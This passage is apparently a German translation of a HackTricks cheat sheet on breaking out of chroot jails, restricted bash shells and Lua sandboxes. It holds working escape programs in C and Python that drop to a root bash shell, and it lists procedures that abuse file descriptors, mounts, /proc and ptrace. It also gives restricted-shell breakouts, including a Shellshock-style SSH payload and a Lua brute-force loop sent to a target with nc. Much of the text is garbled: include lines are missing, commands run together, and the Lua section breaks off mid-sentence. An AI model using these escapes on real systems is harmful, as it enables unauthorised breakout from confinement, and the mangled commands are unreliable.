Teilen Sie Hacking-Tricks, indem Sie PRs an dieHackTricks und HackTricks Cloud github Repositories einreichen.
GTFOBins
Suchen Sie inhttps://gtfobins.github.io/nach Binärdateien mit der Eigenschaft "Shell", die ausgeführt werden können
Chroot-Eskapaden
Von Wikipedia: Der Chroot-Mechanismus ist nicht dazu gedacht, sich gegen vorsätzliche Manipulationen durch privilegierte (Root) Benutzer zu verteidigen. Auf den meisten Systemen stapeln sich Chroot-Kontexte nicht ordnungsgemäß, und gechrootete Programme mit ausreichenden Berechtigungen können einen zweiten Chroot durchführen, um auszubrechen.
Normalerweise bedeutet dies, dass Sie root innerhalb des Chroots sein müssen, um zu entkommen.
Das Toolchw00t wurde erstellt, um die folgenden Szenarien zu missbrauchen und aus chroot zu entkommen.
Root + CWD
Wenn Sie als Root innerhalb eines Chroots sind, können Sie entkommen, indem Sie einen weiteren Chroot erstellen. Dies liegt daran, dass 2 Chroots (in Linux) nicht gleichzeitig existieren können. Wenn Sie also einen Ordner erstellen und dann einen neuen Chroot in diesem neuen Ordner erstellen, während Sie außerhalb davon sind, werden Sie jetzt außerhalb des neuen Chroots sein und somit im Dateisystem.
Dies geschieht, weil Chroot normalerweise Ihr Arbeitsverzeichnis nicht in das angegebene verschiebt, sodass Sie einen Chroot erstellen können, aber außerhalb davon sein können.
Normalerweise finden Sie die chroot-Binärdatei nicht innerhalb eines Chroot-Gefängnisses, aber Sie könnten eine Binärdatei kompilieren, hochladen und ausführen:
C: break_chroot.c
```c #include #include #include
//gcc break_chroot.c -o break_chroot
int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }
</details>
<details>
<summary>Python</summary>
```python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
Dies ist ähnlich wie im vorherigen Fall, aber in diesem Fall speichert der Angreifer einen Dateideskriptor für das aktuelle Verzeichnis und erstellt dann das Chroot in einem neuen Ordner. Schließlich, da er Zugriff auf diesen FDaußerhalb des Chroots hat, greift er darauf zu und entkommt.
</details>
### Root + Fork + UDS (Unix Domain Sockets)
<div data-gb-custom-block data-tag="hint" data-style='warning'>
FD kann über Unix-Domänen-Sockets übergeben werden, also:
* Erstellen eines Kindprozesses (fork)
* Erstellen von UDS, damit Eltern und Kind kommunizieren können
* Führen von chroot im Kindprozess in einem anderen Ordner aus
* Im Elternprozess einen FD eines Ordners erstellen, der außerhalb des neuen Kindprozess-Chroots liegt
* Den FD an das Kindprozess über die UDS übergeben
* Kindprozess wechselt zu diesem FD und da er außerhalb seines Chroots liegt, wird er dem Gefängnis entkommen
</div>
### Root + Mount
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Einhängen des Root-Geräts (/) in ein Verzeichnis innerhalb des Chroots
* Chrooten in dieses Verzeichnis
Dies ist in Linux möglich
</div>
### Root + /proc
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Procfs in ein Verzeichnis innerhalb des Chroots einhängen (falls noch nicht geschehen)
* Nach einer PID suchen, die einen anderen Root/CWD-Eintrag hat, z. B.: /proc/1/root
* In diesen Eintrag chrooten
</div>
### Root(?) + Fork
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Erstellen eines Forks (Kindprozess) und chrooten in einen anderen Ordner weiter unten im Dateisystem und darauf wechseln
* Vom Elternprozess aus den Ordner, in dem sich der Kindprozess befindet, in einen Ordner vor dem Chroot der Kinder verschieben
* Dieser Kindprozess wird sich außerhalb des Chroots befinden
</div>
### ptrace
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Früher konnten Benutzer ihre eigenen Prozesse von einem Prozess aus selbst debuggen... aber das ist standardmäßig nicht mehr möglich
* Trotzdem, wenn es möglich ist, könnten Sie in einen Prozess ptracen und einen Shellcode darin ausführen ([siehe dieses Beispiel](linux-capabilities.md#cap\_sys\_ptrace)).
</div>
## Bash-Gefängnisse
### Enumeration
Informationen über das Gefängnis erhalten:
```bash
echo $SHELL
echo $PATH
env
export
pwd
Ändern des PATH
Überprüfen Sie, ob Sie die PATH-Umgebungsvariable ändern können
echo $PATH #See the path of the executables that you can usePATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin#Try to change the pathecho/home/*#List directory
Mit vim verwenden
:setshell=/bin/sh:shell
Skript erstellen
Überprüfen, ob Sie eine ausführbare Datei mit /bin/bash als Inhalt erstellen können
red/bin/bash> w wx/path #Write /bin/bash in a writable and executable path
Erhalte bash von SSH
Wenn Sie über SSH zugreifen, können Sie diesen Trick verwenden, um eine Bash-Shell auszuführen:
ssh-tuser@<IP>bash# Get directly an interactive shellsshuser@<IP>-t"bash --noprofile -i"sshuser@<IP>-t"() { :; }; sh -i "
Beachten Sie, dass jedes Mal, wenn Sie den vorherigen Einzeiler in einer anderen Lua-Umgebung ausführen, die Reihenfolge der Funktionen geändert wird. Wenn Sie also eine bestimmte Funktion ausführen müssen, können Sie einen Brute-Force-Angriff durchführen, indem Sie verschiedene Lua-Umgebungen laden und die erste Funktion der le-Bibliothek aufrufen:
#In this scenario you could BF the victim that is generating a new lua environment#for every interaction with the following line and when you are lucky#the char function is going to be executedfor k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end#This attack from a CTF can be used to try to chain the function execute from "os" library#and "char" from string library, and the use both to execute a commandfor i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
Interaktive Lua-Shell erhalten: Wenn Sie sich in einer begrenzten Lua-Shell befinden, können Sie eine neue Lua-Shell (und hoffentlich unbegrenzt) aufrufen, indem Sie Folgendes eingeben: